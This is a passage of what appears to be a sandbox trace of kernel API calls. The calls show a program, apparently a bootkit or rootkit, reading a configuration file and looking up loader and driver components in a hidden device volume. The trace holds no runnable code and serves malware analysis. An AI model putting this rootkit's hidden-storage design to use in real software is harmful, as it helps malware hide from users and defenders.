FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.061] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.061] KeLeaveCriticalRegion () [0122.061] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.061] KeEnterCriticalRegion () [0122.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.061] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.061] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.061] KeLeaveCriticalRegion () [0122.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.061] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.061] KeEnterCriticalRegion () [0122.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.061] ExFreePoolWithTag (P=0xfffffa8003be2cb0, Tag=0x0) [0122.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.061] KeLeaveCriticalRegion () [0122.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.061] ReleaseMutex (hMutex=0xf0) returned 1 [0122.061] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.061] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.061] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.061] KeEnterCriticalRegion () [0122.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.061] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.061] IdePortDispatch () returned 0x103 [0122.061] KeWaitForMutexObject () returned 0x0 [0122.062] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.062] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.062] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.062] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.062] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.062] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e60 [0122.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.062] KeLeaveCriticalRegion () [0122.062] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.062] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.062] KeEnterCriticalRegion () [0122.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.062] KeLeaveCriticalRegion () [0122.062] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.062] KeEnterCriticalRegion () [0122.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.063] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.063] IdePortDispatch () returned 0x103 [0122.063] KeWaitForMutexObject () returned 0x0 [0122.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.063] KeLeaveCriticalRegion () [0122.063] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.063] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.063] KeEnterCriticalRegion () [0122.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.063] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1d000 [0122.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.063] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.063] IdePortDispatch () returned 0x103 [0122.063] KeWaitForMutexObject () returned 0x0 [0122.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.063] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.063] IdePortDispatch () returned 0x103 [0122.063] KeWaitForMutexObject () returned 0x0 [0122.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.064] KeLeaveCriticalRegion () [0122.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.064] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.064] KeEnterCriticalRegion () [0122.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.064] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.064] KeLeaveCriticalRegion () [0122.064] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.064] KeEnterCriticalRegion () [0122.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.064] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.064] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.064] KeLeaveCriticalRegion () [0122.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.064] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.064] KeEnterCriticalRegion () [0122.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.064] ExFreePoolWithTag (P=0xfffffa8003be3e60, Tag=0x0) [0122.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.064] KeLeaveCriticalRegion () [0122.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.064] ReleaseMutex (hMutex=0xf0) returned 1 [0122.065] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.065] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.065] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.065] KeEnterCriticalRegion () [0122.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.065] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.065] IdePortDispatch () returned 0x103 [0122.065] KeWaitForMutexObject () returned 0x0 [0122.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.065] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.065] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.065] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.065] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.065] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3b60 [0122.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.065] KeLeaveCriticalRegion () [0122.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.065] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.065] KeEnterCriticalRegion () [0122.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.065] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.065] KeLeaveCriticalRegion () [0122.065] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.065] KeEnterCriticalRegion () [0122.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.065] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.065] IdePortDispatch () returned 0x103 [0122.065] KeWaitForMutexObject () returned 0x0 [0122.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.066] KeLeaveCriticalRegion () [0122.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.066] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.066] KeEnterCriticalRegion () [0122.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.066] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1e000 [0122.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.066] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.066] IdePortDispatch () returned 0x103 [0122.066] KeWaitForMutexObject () returned 0x0 [0122.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.066] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.066] IdePortDispatch () returned 0x103 [0122.066] KeWaitForMutexObject () returned 0x0 [0122.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.066] KeLeaveCriticalRegion () [0122.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.067] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.067] KeEnterCriticalRegion () [0122.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.067] KeLeaveCriticalRegion () [0122.067] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.067] KeEnterCriticalRegion () [0122.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.067] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.067] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.067] KeLeaveCriticalRegion () [0122.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.067] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.067] KeEnterCriticalRegion () [0122.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.067] ExFreePoolWithTag (P=0xfffffa8003be3b60, Tag=0x0) [0122.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.067] KeLeaveCriticalRegion () [0122.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.067] ReleaseMutex (hMutex=0xf0) returned 1 [0122.067] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.067] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.067] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.067] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.067] KeEnterCriticalRegion () [0122.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.068] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.068] IdePortDispatch () returned 0x103 [0122.068] KeWaitForMutexObject () returned 0x0 [0122.068] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.068] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.068] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.068] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.068] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.068] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.068] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.068] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.068] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.068] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.068] KeLeaveCriticalRegion () [0122.068] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.068] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.068] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.068] KeEnterCriticalRegion () [0122.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.068] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.068] IdePortDispatch () returned 0x103 [0122.068] KeWaitForMutexObject () returned 0x0 [0122.068] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.069] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.069] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.069] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.069] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.069] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.069] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.069] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.069] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.069] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.069] KeLeaveCriticalRegion () [0122.069] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.069] ReleaseMutex (hMutex=0x100) returned 1 [0122.069] Sleep (dwMilliseconds=0x2bf20) [0122.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bf47f30, dwHighDateTime=0x1d24fa4)) [0122.076] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.076] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.076] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.076] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.076] KeEnterCriticalRegion () [0122.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.076] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.076] IdePortDispatch () returned 0x103 [0122.076] KeWaitForMutexObject () returned 0x0 [0122.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.076] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.076] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.076] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.076] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.076] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e10 [0122.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.076] KeLeaveCriticalRegion () [0122.076] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.076] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.076] KeEnterCriticalRegion () [0122.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.076] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.076] KeLeaveCriticalRegion () [0122.076] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.076] KeEnterCriticalRegion () [0122.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 